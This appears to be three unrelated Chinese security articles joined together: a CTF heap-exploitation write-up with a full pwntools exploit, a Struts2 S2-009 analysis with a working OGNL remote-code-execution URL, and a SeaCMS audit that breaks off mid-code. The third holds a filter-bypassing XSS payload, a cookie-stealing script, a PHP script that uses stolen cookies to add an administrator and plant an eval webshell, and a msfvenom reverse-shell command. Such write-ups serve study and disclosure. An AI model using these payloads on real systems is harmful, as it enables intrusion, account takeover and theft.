应该都是参考这篇[文章](https://www.anquanke.com/post/id/189848)，示例代码如下：
#include<stdio.h>
#include<stdlib.h>
#include<malloc.h>
int main(){
void *p1, *p2, *p3;
p1 = malloc(0x438);
malloc(0x18);
free(p1); // p1 ---> 0x438 unsorted chunk
p2 = malloc(0x448); // p1 ---> 0x438 large chunk
}
只要我们申请的 chunk 的 `size` 比 `unsorted chunk` 的 `size` 大，那么原本的 `unsorted chunk`
就会被放入 `small chunk` 或 `large chunk`。
但其实还有种情况：当存在两个 `unsorted chunk` 时（`p2---> p1 ---> main_arena`），当我们申请 `chunk`
时，`ptmalloc` 就会先将 `p2` 放入 `large chunk`，然后再切割 `p1` 去分配 `chunk`，示例代码：
#include<stdio.h>
#include<stdlib.h>
#include<malloc.h>
int main(){
void *p1, *p2, *p3;
p1 = malloc(0x438);
malloc(0x18);
p2 = malloc(0x448);
maloc(0x18);
free(p1); // p1 ---> 0x438 unsorted chunk
free(p2); // p2 ---> 0x448 unsorted chunk
malloc(0x18); // p2 ---> 0x448 large chunk
}
只要了这点之后，我们就可以将刚刚的两个 `large chunk` 放入 `large bin`，从而实现 `largebin attack` 了。
delete(1) # 释放掉第一个 large chunk
add(0)
add(1) # 第一个 large chunk 放入 large bin
delete(0)
delete(1)
poc = ((heap_addr+0x80)>>12)^((heap_addr+0x320)) # 指向第一个 large chunk 的 fd_nextsize 和 bk_nextsize
edit(1, p64(poc))
add(0)
add(1)
target = _IO_list_all - 0x20
edit(1, p64(heap_addr+0x300)+p64(target)) # 修改 b_nextsize 指向 _IO_list_all - 0x20
delete(0)
delete(2) # 释放掉第二个 large chunk
add(0)
add(0) # 攻击成功，成功将第二个 large chunk 写入 _IO_list_all
我们不妨来看看，第一个 large chunk 的入链过程：
#### 5、构造 FAKE IO_FILE
这里参考 [house of pig](https://www.anquanke.com/post/id/242640) 最后的 Poc：
fake_IO_FILE = 2*p64(0)
fake_IO_FILE += p64(1) #change _IO_write_base = 1
fake_IO_FILE += p64(0xffffffffffff) #change _IO_write_ptr = 0xffffffffffff
fake_IO_FILE += p64(0)
fake_IO_FILE += p64(heap_base+0x148a0) # _IO_buf_base
fake_IO_FILE += p64(heap_base+0x148b8) # _IO_buf_end
fake_IO_FILE = fake_IO_FILE.ljust(0xb0, '\x00')
fake_IO_FILE += p64(0) #change _mode = 0
fake_IO_FILE = fake_IO_FILE.ljust(0xc8, '\x00')
fake_IO_FILE += p64(IO_str_vtable) #change vtable
利用多次的 UAF 对第二个 large chunk 进行修改，最终构造结果如下：
这里，我们需要关注的是红色框标注的两个值，它们分别代表 `_IO_buf_base` 和 `_IO_buf_end`，具体作用我们看下
`_IO_str_overflow` 的源码：
int
_IO_str_overflow (FILE *fp, int c)
{
... ...
char *new_buf;
char *old_buf = fp->_IO_buf_base;
size_t old_blen = _IO_blen (fp); // _IO_buf_end - _IO_buf_base
size_t new_size = 2 * old_blen + 100;
if (new_size < old_blen)
return EOF;
new_buf = malloc (new_size);
if (new_buf == NULL)
{
/* __ferror(fp) = 1; */
return EOF;
}
if (old_buf)
{
memcpy (new_buf, old_buf, old_blen);
free (old_buf);
/* Make sure _IO_setb won't try to delete _IO_buf_base. */
fp->_IO_buf_base = NULL;
}
... ...
}
可以看到，`_IO_base_buf` 就是 `memcpy` 的源内存区域，复制的长度满足 `2 * old_blen + 100`
的关系。所以，为了方便期间，我们可以先用两个变量来代表它们，并计算好长度：
length = 0x240
start = heap_addr + 0x240
end = start + ((length) - 100)//2
显然，我们需要劫持 `__free_hook`，就要确保 `gadget` 被复制到 `__free_hook`。这里，我们可以找一个合适的位置存放
`gadget`，并用 `start` 提前存储好它的位置。
#### 6、布置 setcontext 的数据
从 `libc 2.31` 看是，`setcontext` 的代码发生了变化，不再是使用 `rdi` 而是使用了 `rdx`：
因此，我们需要先想办法修改 `rdx`，这里需要使用到一个 `gadget`：
mov rdx, qword ptr [rdi + 8] ;
mov qword ptr [rsp], rax ;
call qword ptr [rdx + 0x20]
联想到，free 的变量是 `rdi`，也就是 `_IO_base_buf`。前面提到，我这里存储的是 `heap_addr+0x240`
的地址，因此，我们在 `heap+0x240` 中存放一个合适的地址值，使其满足：
[rdx+0x20] ----> setcontext+61
[rdx+0xa0] ----> 我们劫持的栈帧
[rdx+0xa8] ----> 第一条 ROP 指令
这里，我挑选的位置 `rdx` 值为 `heap+0x40`，因为这个位置及不会影响 `0x20` 的 `tcachebin`，也不会影响后续存放
`ROP` 链，以及最终劫持 `__free_hook` 所需的 `tcache
bin`。那么，我们就见缝插针，在前面的步骤中，将这些值存放进去即可，具体可以看最后的 EXP。
#### 7、将 free_hook 放入 tcache bin
这个和前面的步骤一样，将 `0x240` 的 `tcachebin` 写入 `__free_hook` 即可（加上首部是 `0x250`）。
add(0)
add(1)
delete(0)
delete(1)
poc = ((heap_addr+0x180)>>12) ^ (heap_addr+0x850)
edit(1, p64(poc))
add(0)
add(1)
edit(1, p64(0) + p64(0))
delete(0)
add(2)
add(2)
edit(2, p64(0)+p64(free_hook))
#### 8、构造 ROP 链
最后，就是要构造 ROP 链来执行 `read` 并将 `rsp` 劫持到我们写入的位置，这样可以方便我们后续的操作。这里，我选择的位置是
`heap+0x1c0`，构造方法同样是用 UAF，最终构造出来的 ROP 链如下：
这里，可能有师傅会问，这里怎么少了 `pop rdi` 呢？还记得前面提到的 `setcontext` 吗？
[rdx+0x20] ----> setcontext+61
[rdx+0xa0] ----> 我们劫持的栈帧
[rdx+0xa8] ----> 第一条 ROP 指令
没错，`pop rdi` 就是放到这里。
#### 9、劫持 rsp 和 rip
最后，我们只需要想办法触发 `exit` ，那么我们就往 `0x20` 的 `tcache bin` 上放入 `__free_hook`，然后再申请它即可（
**顺便一提，到这里刚刚好就把`unsorted chunk` 用完了**）。
add(1)
add(2)
delete(1)
delete(2)
poc = ((heap_addr+0x280)>>12) ^ (free_hook) # 放入 free_hook 到 0x20 的 tcache bin 中
edit(2, p64(poc))
add(1)
add(2) # 触发 exit
至此，我们就成功劫持 `rsp` 和 `rip` 了。
当然，最后出题人并不打算让我们直接 `orw` 获取 flag，还需要获取文件名，文件名每次随机生成的，格式位 `haha_flag_xxxxx`。
这里，为了方便，我就直接执行 `mprotect` 把 `heap` 内存区变成 `RWX`，然后执行 shellcode 获取文件名，最后读取文件即可。
filename_addr = new_stack + 0x8 * 27
poc = b''
poc += p64(pop_rdi)
poc += p64(heap_addr)
poc += p64(pop_rsi)
poc += p64(0x4000)
poc += p64(pop_rdx)
poc += p64(7)
poc += p64(libc.sym['mprotect'])
poc += p64(pop_rdi)
poc += p64(0)
poc += p64(pop_rsi)
poc += p64(heap_addr)
poc += p64(pop_rdx)
poc += p64(0x100)
poc += p64(libc.sym['read'])
poc += p64(heap_addr)
s(poc)
shellcode = b''
shellcode += asm(shellcraft.open('./'))
shellcode += asm(shellcraft.getdents64(3, read_buf, 0x400))
shellcode += asm(shellcraft.write(1,read_buf, 0x400))
shellcode += asm('''
mov rdi, 0; mov rsi, 0x%x;mov rdx, 0x100;mov rax, 0; syscall; push rsi; ret;
''' % (heap_addr+0x100))
s(shellcode)
if local:
r()
filename = '/flag'
else:
ru(b'haha_')
filename = 'haha_'+rr(10).decode()
r()
r()
shellcode = asm(shellcraft.cat(filename))
s(shellcode)
log.success('flag: %s', ru(b'}').decode())
至此，我们就完成了这道题目的解答。
## 四、完整 EXP
由于整个做题过程比较混乱，我在 EXP 中添加了许多注释，供师傅们查看。
#encoding:utf-8
from pwn import *
import re
ip = '82.157.6.175'
port = 24200
local = 0
filename = './TinyNote'
PREV_INUSE = 0x1
IS_MMAPPED = 0x2
NON_MAIN_ARENA = 0x4
def create_connect():
global io, elf, libc, libc_name
elf = ELF(filename)
context(os=elf.os, arch=elf.arch)
if local:
io = process(filename)
if elf.arch == 'amd64':
libc_name = '/lib/x86_64-linux-gnu/libc.so.6'
elif elf.arch == 'i386':
libc_name = '/lib/i386-linux-gnu/libc.so.6'
else:
io = remote(ip, port)
try:
libc_name = 'libc-2.33.so'
libc = ELF(libc_name)
except:
pass
cc = lambda : create_connect()
s = lambda x : io.send(x)
sl = lambda x : io.sendline(x)
sla = lambda x, y: io.sendlineafter(x, y)
sa = lambda x, y: io.sendafter(x, y)
g = lambda x: gdb.attach(io, x)
r = lambda : io.recv(timeout=1)
rr = lambda x: io.recv(x, timeout=1)
rl = lambda : io.recvline(keepends=False)
ru = lambda x : io.recvuntil(x)
ra = lambda : io.recvall(timeout=1)
it = lambda : io.interactive()
cl = lambda : io.close()
def add(idx):
sa(b'Choice:', b'1')
sa(b'Index:', str(idx).encode())
def edit(idx, content):
sa(b'Choice:', b'2')
sa(b'Index:', str(idx).encode())
sa(b'Content:', content.encode() if isinstance(content, str) else content)
def show(idx):
sa(b'Choice:', b'3')
sa(b'Index:', str(idx).encode())
ru(b'Content:')
def delete(idx):
sa(b'Choice:', b'4')
sa(b'Index:', str(idx).encode())
def mchunk_size(size):
return p64(0) + p64(size)
def pwn():
cc()
add(0)
add(1)
delete(0)
show(0)
heap_addr = u64(rr(5).ljust(0x8, b'\x00')) << 12
log.success('heap_addr: 0x%x', heap_addr)
# 提前记录好 _IO_buf_base 和 _IO_buf_end 的相关参数
length = 0x240
start = heap_addr + 0x240
end = start + ((length) - 100)//2
delete(1)
poc = ((heap_addr+0x2c0) >> 12) ^(heap_addr+0x50)
edit(1, p64(poc))
add(0)
add(1)
# 修改 0x240 的 tcache 数量，并构造好首部
edit(1, p8(8)*8 + p64(0x241))
delete(0)
add(0)
add(1)
delete(0)
delete(1)
# 将 fd 指向刚刚构造好的 0x240 chunk
poc = ((heap_addr+0x2e0)>>12) ^ (heap_addr+0x60)
edit(1, p64(poc))
add(1)
add(0) # unsorted_chunk: heap+0x10
log.success('unsorted_chunk: 0x%x', heap_addr+0x60)
delete(1)
add(1)
edit(1, mchunk_size(0x21))
add(1)
edit(1, mchunk_size(0x451))
for i in range(0x22):
add(1)
add(1)
add(2)
delete(1)
delete(2)
poc = ((heap_addr+0x780)>>12) ^ (heap_addr+0x310)
edit(2, p64(poc))
add(2)
# 获得第一块 largebin_chunk，地址为 heap+0x300
add(1)
log.success('large chunk No.1: 0x%x', heap_addr+0x300)
delete(2)
add(2)
edit(2, mchunk_size(0x21))
add(2)
edit(2, mchunk_size(0x441))
add(2)
add(2)
# 这里提前将 _IO_buf_end 的值填上
edit(2, p64(end))
for i in range(0x1f):
add(2)
add(2)
edit(2, mchunk_size(0x31))
add(2)
delete(0)
show(0)
libc.address = u64(rr(8)) - 0x1e0c00
log.success('libc_addr: 0x%x', libc.address)
_IO_list_all = libc.sym['_IO_list_all']
_IO_str_jumps = libc.address + 0x1e2560
free_hook = libc.address + 0x1e3e20
_IO_str_overflow = libc.address + 0x8fbb0
setcontext = libc.address + 0x529ad
# 0x000000000014a0a0 : mov rdx, qword ptr [rdi + 8] ; mov qword ptr [rsp], rax ; call qword ptr [rdx + 0x20]
hijack_rsp = libc.address + 0x14a0a0
# 0x0000000000028a55 : pop rdi ; ret
pop_rdi = libc.address + 0x28a55
# 0x000000000002a4cf : pop rsi ; ret
pop_rsi = libc.address + 0x2a4cf
# 0x00000000000c7f32 : pop rdx ; ret
pop_rdx = libc.address + 0xc7f32
# 0x0000000000044c70 : pop rax ; ret
pop_rax = libc.address + 0x44c70
# 0x000000000006105a: syscall; ret;
syscall = libc.address + 0x6105a
# 0x59020 : mov rsp, rdx ; ret
mov_rdx_rsp = libc.address + 0x59020
# 0x0000000000033af2 : pop rsp ; ret
pop_rsp = libc.address + 0x33af2
ret = libc.address + 0x26699
mprotect = libc.sym['mprotect']
new_stack = libc.bss()
read_buf = libc.bss() + 0x200
add(0)
delete(0)
delete(2)
# heap_addr + 0x60 对应 [rdx + 0x20] 的位置，放置 setcontext+61 的地址
edit(0, p64(setcontext))
poc = ((heap_addr+0xc00)>>12)^((heap_addr+0x7b0))
edit(2, p64(poc))
add(0)
# 获得第二块 largebin_chunk，地址为 heap+0x300
add(2)
log.success('large chunk No.2: 0x%x', heap_addr+0x7a0)
delete(0)
delete(1)
add(0)
# 第一个 large chunk 入链
add(1)
delete(0)
delete(1)
poc = ((heap_addr+0x80)>>12)^((heap_addr+0x320))
edit(1, p64(poc))
add(0)
add(1)
target = _IO_list_all - 0x20
# 布置好 largebin attack 使用的 Poc
edit(1, p64(heap_addr+0x300)+p64(target))
delete(0)
delete(2)
add(0)
# 第二个 large chunk 入链，写入 _IO_list_all
add(0)
edit(1, p64(heap_addr+0x300)+p64(heap_addr+0x300))
edit(2, p64(0)+p64(0))
add(0)
add(1)
delete(1)
# heap_addr + 0xe0 -----> mov rsp, [rdx + 0xa0]
# heap_addr + 0xe8 -----> mov rcx, [rdx + 0xa8]; push rcx
# 这里我们就可以放入第一条 ROP 指令
edit(1, p64(heap_addr+0x1c0)+p64(pop_rdi))
delete(0)
poc = ((heap_addr+0xe0)>>12) ^ (heap_addr+0x870)
edit(0, p64(poc))
add(0)
add(1)
# 修改 FAKE IO_FILE 的 vtable 为 _IO_str_jumps
edit(1, p64(0)+p64(_IO_str_jumps))
delete(0)
add(0)
add(1)
delete(0)
delete(1)
poc = ((heap_addr+0x100)>>12) ^ (heap_addr+0x7d0)
edit(1, p64(poc))
add(0)
add(1)
# 填充 FAKE IO_FILE，写入 _IO_buf_base
edit(1, p64(0) + p64(start))
delete(0)
add(0)
add(1)
delete(0)
delete(1)
poc = ((heap_addr+0x120)>>12) ^ (heap_addr+0x7f0)
edit(1, p64(poc))
add(0)
add(1)
# 填充 FAKE IO_FILE
edit(1, p64(0) + p64(0))
delete(0)
add(0)
add(1)
delete(0)
delete(1)
poc = ((heap_addr+0x140)>>12) ^ (heap_addr+0x810)
edit(1, p64(poc))
add(0)
add(1)
# 填充 FAKE IO_FILE
edit(1, p64(0) + p64(0))
delete(0)
add(0)
add(1)
delete(0)
delete(1)
poc = ((heap_addr+0x160)>>12) ^ (heap_addr+0x830)
edit(1, p64(poc))
add(0)
add(1)
# 填充 FAKE IO_FILE
edit(1, p64(0) + p64(0))
delete(0)
add(0)
add(1)
delete(0)
delete(1)
poc = ((heap_addr+0x180)>>12) ^ (heap_addr+0x850)
edit(1, p64(poc))
add(0)
add(1)
edit(1, p64(0) + p64(0))
delete(0)
add(2)
add(2)
edit(2, p64(0)+p64(free_hook))
# heap_addr + 0x1c0
add(0)
add(1)
delete(0)
# heap_addr + 0x1c0: 0, pop rsi
edit(0, p64(0)+p64(pop_rsi))
delete(1)
poc = ((heap_addr+0x1e0)>>12) ^ (heap_addr+0x1d0)
edit(1, p64(poc))
add(0)
# heap_addr + 0x1e0: 0x100, &read
edit(0, p64(0x100)+p64(libc.sym['read']))
add(1)
# heap_addr + 0x1d0: new_stack, pop rdx
edit(1, p64(new_stack)+p64(pop_rdx))
add(0)
add(1)
delete(0)
delete(1)
poc = ((heap_addr+0x220)>>12) ^ (heap_addr+0x1f0)
edit(1, p64(poc))
add(1)
add(2)
# heap_addr + 0x1f0: pop rsp, &new_stack
edit(2, p64(pop_rsp)+p64(new_stack))
edit(1, p64(new_stack))
add(0) # heap_addr + 0x240
edit(0, p64(hijack_rsp)+p64(heap_addr+0x40))
# 第一个对应的就是拷贝到 free_hook 的 gadget 地址，执行 gadget
# 第二个对应的就是 mov rdx, qword ptr [rdi+8]
add(1)
add(2)
delete(1)
delete(2)
poc = ((heap_addr+0x280)>>12) ^ (free_hook)
edit(2, p64(poc))
add(1)
add(2)
filename_addr = new_stack + 0x8 * 27
# 第一段 ROP：执行 mprotect，将 heap 内存区域变成 RWX
poc = b''
poc += p64(pop_rdi)
poc += p64(heap_addr)
poc += p64(pop_rsi)
poc += p64(0x4000)
poc += p64(pop_rdx)
poc += p64(7)
poc += p64(libc.sym['mprotect'])
# 第二段 ROP：将 shellcode 写入 heap 并跳转执行
poc += p64(pop_rdi)
poc += p64(0)
poc += p64(pop_rsi)
poc += p64(heap_addr)
poc += p64(pop_rdx)
poc += p64(0x100)
poc += p64(libc.sym['read'])
poc += p64(heap_addr)
s(poc)
# 获取 flag 文件名
shellcode = b''
shellcode += asm(shellcraft.open('./'))
shellcode += asm(shellcraft.getdents64(3, read_buf, 0x400))
shellcode += asm(shellcraft.write(1,read_buf, 0x400))
shellcode += asm('''
mov rdi, 0; mov rsi, 0x%x;mov rdx, 0x100;mov rax, 0; syscall; push rsi; ret;
''' % (heap_addr+0x100))
s(shellcode)
if local:
r()
filename = '/flag'
else:
ru(b'haha_')
filename = 'haha_'+rr(10).decode()
r()
r()
# 获取 flag
shellcode = asm(shellcraft.cat(filename))
s(shellcode)
log.success('flag: %s', ru(b'}').decode())
# DASCTF{9d0e060bc2becb1514235e96fd121161}
cl()
if __name__ == '__main__':
pwn()
最后，放一张结果图：
以上便是我的整个解题过程，如果其中有讲得不对的地方，望各位师傅批评指正。 | 社区文章 |
# Struts2 漏洞分析系列 - S2-009/003与005的补丁绕过
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0x00 漏洞概述
S2-009是S2-003与S2-005的补丁绕过，当时的补丁是增加了正则以及相关的限制（这些限制可以通过执行OGNL表达式进行修改），主要的防御还是正则。
这次的问题还是出现在ParameterInterceptor这个拦截器上，其漏洞原理类似于二次注入，先将Payload注入到上下文中，取出来时通过某个特定语法就可以执行之前设置过的Payload。
**影响版本：2.0.0 – 2.3.1.1**
官方issue地址：<https://cwiki.apache.org/confluence/display/WW/S2-009>
## 0x01 环境搭建
首先编写一个最简单的Action类，其中只需要存在一个属性即可：
public class TestAction {
private String message;
public String getMessage() {
return message;
}
public void setMessage(String message) {
this.message = message;
}
public String execute() throws Exception {
return "success";
}
}
接着编写struts.xml用于定义路由：
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE struts PUBLIC
"-//Apache Software Foundation//DTD Struts Configuration 2.0//EN"
"http://struts.apache.org/dtds/struts-2.0.dtd">
<struts>
<package name="st2-demo" extends="struts-default">
<action name="test" class="TestAction">
<result name="success">index.jsp</result>
</action>
</package>
</struts>
最后老规矩，定义一个Filter：
<filter>
<filter-name>struts2</filter-name>
<filter-class>org.apache.struts2.dispatcher.FilterDispatcher</filter-class>
</filter>
<filter-mapping>
<filter-name>struts2</filter-name>
<url-pattern>/*</url-pattern>
</filter-mapping>
## 0x02 漏洞分析
ParameterInterceptor的作用就是将当前请求中的参数与Bean中的属性绑定在一起，所以`http://127.0.0.1:8080/test.action?message=xxx`会将xxx这个值赋到当前请求对象TestAction的message属性中，在setValue调用完毕后可以通过getValue取出来：
接下来会继续对下一个参数进行解析，通过S2-003与S2-005的分析中我们得知，如果能够通过ParameterInterceptor的相关验证逻辑，那么是会对参数名进行一次OGNL表达式解析的，S2-003与S2-005的漏洞也出于此，后续的修复方案是增加了静态方法相关的禁用以及一个用于验证参数名的正则。
但是在S2-009中我们可以通过`top['message']`的方式获取到刚刚赋到message属性上的值，并通过`()`执行OGNL表达式解析，并且`top['message']`是符合正则条件的：
所以完整的Payload如下（实际情况利用时需要进行URL编码）：
http://localhost:8082/test.action?message=#context['xwork.MethodAccessor.denyMethodExecution']=false,#_memberAccess["allowStaticMethodAccess"]=new java.lang.Boolean(true),@java.lang.Runtime@getRuntime().exec('open -a /System/Applications/Calculator.app'),#request&top['message'](0)
## 0x03 修复方案
这次漏洞修复体现在多处代码，首先就是ParametersInterceptor中，其将原先调用的setValue修改为setParameter，将两者作为两个模块区分开了。
区别是什么呢？重点就是传给setValue的第四个参数：
public void setParameter(String expr, Object value) {
this.setValue(expr, value, this.devMode, false);
}
public void setValue(String expr, Object value, boolean throwExceptionOnFailure) {
this.setValue(expr, value, throwExceptionOnFailure, true);
}
可以发现，setParameter的第四个参数为false，而setValue的第四个参数为true，这影响到了后续的调用流程，让我们接着跟到最后的调用流程中：
protected void setValue(String name, Map<String, Object> context, Object root, Object value, boolean evalName) throws OgnlException {
Object tree = this.compile(name);
if (!evalName && this.isEvalExpression(tree, context)) {
throw new OgnlException("Eval expression cannot be used as parameter name");
} else {
Ognl.setValue(tree, context, root, value);
}
}
这里会判断当前的name是否为evalName，此处为setParameter，因此evalName为false，所以这里为true，接着会通过isEvalExpression来判断当前的name是否符合要求。
private boolean isEvalExpression(Object tree, Map<String, Object> context) throws OgnlException {
if (tree instanceof SimpleNode) {
SimpleNode node = (SimpleNode)tree;
return node.isEvalChain((OgnlContext)context);
} else {
return false;
}
}
isEvalExpression中会通过isEvalChain来判断当前的node是否为链式调用（先取值再执行就是链式调用），Debug一下会发现之前的Payload在此处已经返回true了，被标为危险的name，因此这里会直接抛出异常而不会进行接下来的OGNL表达式解析：
由于我们的Node会被解析为ASTEvalNode，其isEvalChain相关逻辑如下：
public boolean isEvalChain(OgnlContext context) throws OgnlException {
return true;
}
可以发现是直接返回true的，因此所有EvalNode都不能在这个漏洞点中使用了，如果想要继续挖掘只能换一个Node看看是否能进行二次解析或是能够达到与EvalNode相同作用（通过继承逻辑）。
上面是一个修复点，还有另外一个修复点在2.3.1.2中似乎没有启用，就是xx中的正则被修改为了：
\w+((\\.\\w+)|(\\[\\d+\\])|(\\(\\d+\\))|(\\['\\w+'\\])|(\\('\\w+'\\)))*
这个正则的作用是匹配name中的字母与数字，匹配不了特殊符号，我认为Struts2官方应该是想在这里取出name中不包含特殊符号的部分，接着通过setValue进行一个赋值，如下：
但不知道为什么在这个版本没有启用，我认为这算是一个比较好的修复方案，不会太影响后面的业务逻辑，直接从漏洞点出发而不是直接在底层封死了，可能Struts2有它们自己的考究吧。 | 社区文章 |
之前进行代码审计，挖到了一个海洋cms的[存储型XSS漏洞](https://note.youdao.com/)，从这个漏洞出发，进行getshell。
### 介绍
[海洋cms](https://www.seacms.net/)是一款简单的php内容管理系统，主要用于视频网站，采用PHP+MYSQL架构，未使用框架
### 建站
靶机: windowsXP 192.168.113.128
攻击机：kali 192.168.113.157
下载安装，然后填上信息即可
后台路径: /zhwx5t/
后台账号: admin admin(系统管理员)
### 代码审计
漏洞发生在member.php更新资料的地方，我们不妨跟踪一下变量，从头看起
<?php
session_start();
require_once("include/common.php");
require_once(sea_INC.'/main.class.php');
这里引用了common.php，跟进去
<?php
error_reporting(0);
require_once('webscan/webscan.php');
可以看到调用了webscan.php，根据官方文档所说，这里是360安全检测模块
跟进去查看
......
//post拦截规则
$postfilter = "<.*=(&#\\d+?;?)+?>|<.*data=data:text\\/html.*>|\\b(alert\\(|confirm\\(|expression\\(|prompt\\(|benchmark\s*?\(.*\)|sleep\s*?\(.*\)|\\b(group_)?concat[\\s\\/\\*]*?\\([^\\)]+?\\)|\bcase[\s\/\*]*?when[\s\/\*]*?\([^\)]+?\)|load_file\s*?\\()|<[^>]*?\\b(onerror|onmousemove|onload|onclick|onmouseover)\\b|\\b(and|or)\\b\\s*?([\\(\\)'\"\\d]+?=[\\(\\)'\"\\d]+?|[\\(\\)'\"a-zA-Z]+?=[\\(\\)'\"a-zA-Z]+?|>|<|\s+?[\\w]+?\\s+?\\bin\\b\\s*?\(|\\blike\\b\\s+?[\"'])|\\/\\*.*\\*\\/|<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT\s*(\(.+\)\s*|@{1,2}.+?\s*|\s+?.+?|(`|'|\").*?(`|'|\")\s*)|UPDATE\s*(\(.+\)\s*|@{1,2}.+?\s*|\s+?.+?|(`|'|\").*?(`|'|\")\s*)SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE)(\\(.+\\)|\\s+?.+?\\s+?|(`|'|\").*?(`|'|\"))FROM(\\(.+\\)|\\s+?.+?|(`|'|\").*?(`|'|\"))|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)";
......
碍于篇幅，我仅放了有关漏洞的waf，我们将这个正则表达式分解
<.*=(&#\\d+?;?)+?>
<.*data=data:text\\/html.*>
\\b(alert\\(|confirm\\(|expression\\(|prompt\\(|benchmark\s*?\(.*\)|sleep\s*?\(.*\)|\\b(group_)?concat[\\s\\/\\*]*?\\([^\\)]+?\\)|\bcase[\s\/\*]*?when[\s\/\*]*?\([^\)]+?\)|load_file\s*?\\()
<[^>]*?\\b(onerror|onmousemove|onload|onclick|onmouseover)\\b
\\b(and|or)\\b\\s*?([\\(\\)'\"\\d]+?=[\\(\\)'\"\\d]+?|[\\(\\)'\"a-zA-Z]+?=[\\(\\)'\"a-zA-Z]+?|>|<|\s+?[\\w]+?\\s+?\\bin\\b\\s*?\(|\\blike\\b\\s+?[\"'])
\\/\\*.*\\*\\/
<\\s*script\\b
\\bEXEC\\b
UNION.+?SELECT\s*(\(.+\)\s*|@{1,2}.+?\s*|\s+?.+?|(`|'|\").*?(`|'|\")\s*)
UPDATE\s*(\(.+\)\s*|@{1,2}.+?\s*|\s+?.+?|(`|'|\").*?(`|'|\")\s*)SET
INSERT\\s+INTO.+?VALUES
(SELECT|DELETE)(\\(.+\\)|\\s+?.+?\\s+?|(`|'|\").*?(`|'|\"))FROM(\\(.+\\)|\\s+?.+?|(`|'|\").*?(`|'|\"))
(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)
可以清楚的看到，整个正则表达式根本没有单独过滤尖括号，能算上对XSS过滤的，只有第四行对事件的过滤和第七行对script标签的过滤。
往下走。
来到漏洞处，查看关键代码
if($action=='chgpwdsubmit')
{
if(trim($newpwd)<>trim($newpwd2))
{
ShowMsg('两次输入密码不一致','-1');
exit();
}
$email = str_ireplace('base64', "", $email);
$email = str_ireplace('(', "", $email);
$email = str_ireplace(')', "", $email);
$email = str_ireplace('%', "", $email);
if(!empty($newpwd)||!empty($email)||!empty($nickname))
{
if(empty($newpwd)){$pwd = $oldpwd;} else{$pwd = substr(md5($newpwd),5,20);};
$dsql->ExecuteNoneQuery("update `sea_member` set password = '$pwd',email = '$email',nickname = '$nickname' where id= '$uid'");
ShowMsg('资料修改成功','-1');
exit();
}
}
可以看到，email变量在经过了waf之后，会经过一轮替换，因此这里可以替换绕过waf，当然你也可以了利用其他方式去调用
这里利用script标签绕过
构造POC
POST /member.php?action=chgpwdsubmit
oldpwd=test&newpwd=test&newpwd2=test&email=test%40test.com<scbase64ript src=https://url.cn/585l00F></scrbase64ipt>&nickname=&gaimi=%E7%A1%AE%E8%AE%A4%E4%BF%AE%E6%94%B9
src的值为<http://127.0.0.1/test.js的短链接>
可以看到数据库已经被修改了
当后台浏览到后台界面时，会触发漏洞，反弹回来Cookie，但需要注意两点，第一，只有系统管理员才能看到用户界面，普通管理员是没有这个权限的。
第二，海洋cms系统管理员的Cookie随着每一次登录都会改变，因此想要长久的拥有权限，除非更改密码。这里可以利用到后台的一个漏洞，准确的来讲应该是后台的一个错误。
代码如下
<?php
header('Content-Type:text/html;charset=utf-8');
require_once(dirname(__FILE__)."/config.php");
CheckPurview();
if($action=="set")
{
$v= $_POST['v'];
$ip = $_POST['ip'];
$open=fopen("../data/admin/ip.php","w" );
$str='<?php ';
$str.='$v = "';
$str.="$v";
$str.='"; ';
$str.='$ip = "';
$str.="$ip";
$str.='"; ';
$str.=" ?>";
fwrite($open,$str);
fclose($open);
ShowMsg("成功保存设置!","admin_ip.php");
exit;
}
?>
这里根本没有经过过滤，直接将变量写进去，可以写一个脚本利用
代码如下
# test.js
var img = new Image();
img.src= "http://127.0.0.1/test.php?x=" + document.cookie + "&p=" + location.pathname;
# test.php
<?php
function Requests($url, $data, $cookie = '', $type = 1){
$ch = curl_init();
$params[CURLOPT_URL] = $url;
$params[CURLOPT_HEADER] = FALSE;
$params[CURLOPT_SSL_VERIFYPEER] = false;
$params[CURLOPT_SSL_VERIFYHOST] = false;
$params[CURLOPT_RETURNTRANSFER] = true;
if ($type === 1) {
$params[CURLOPT_POST] = true;
$params[CURLOPT_POSTFIELDS] = $data;
}
$params[CURLOPT_COOKIE] = $cookie;
curl_setopt_array($ch, $params);
$output = curl_exec($ch);
file_put_contents('log.txt', $output, FILE_APPEND);
curl_close($ch);
}
$C = $_GET['x'];
$P = $_GET['p'];
$P = substr($P, 0, strlen($P)-21);
file_put_contents('c.txt', $C);
file_put_contents('p.txt', $P);
$url_1 = 'http://192.168.113.128'.$P.'admin_manager.php?action=add';
$url_2 = 'http://192.168.113.128'.$P.'admin_ip.php?action=set';
$data_1 = 'username=test&pwd=test&pwd2=test&groupid=1';
$data_2 = 'v=0&ip=+";@eval($_POST[qwer]);"';
Requests($url_1, $data_1, $C);
Requests($url_2, $data_2, $C);
这两个脚本会将cookie和后台路径保存在文件中，并且会向后台发送数据，添加一个系统管理员，同时会在系统中写入一个一句话木马，需要注意的是修改域名为测试域名。测试如下
代码已经写进了后台
管理员添加成功
一句话也写进去了
利用蚁剑连接上，然后生成exe文件反弹shell
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.113.169 LPORT=5555 -f exe > exp.exe
接下来就是对内网渗透或者提权留后门，不在本文章讨论范围内，因此不再赘述
### 题外话
在研究完上个漏洞后，我又发现了一处该cms的存储型XSS，但该漏洞数据库字段限制长度为20，我并没有找到可利用的方法，有师傅有兴趣可以研究下，以下为测试。
#### 注册处存储型XSS漏洞
漏洞产生的地方在注册时的名称处，过滤的waf脚本和上面一样，因此不再赘述，与此同时，还利用了两个函数进行过滤
# reg.php
$username = $m_user;
$username = RemoveXSS(stripslashes($username));
$username = addslashes(cn_substr($username,200));
# RemoveXSS()
function RemoveXSS($val) {
$val = preg_replace('/([\x00-\x08,\x0b-\x0c,\x0e-\x19])/', '', $val);
$search = 'abcdefghijklmnopqrstuvwxyz';
$search .= 'ABCDEFGHIJKLMNOPQRSTUVWXYZ';
$search .= '1234567890!@#$%^&*()';
$search .= '~`";:?+/={}[]-_|\'\\';
for ($i = 0; $i < strlen($search); $i++) {
// ;? matches the ;, which is optional
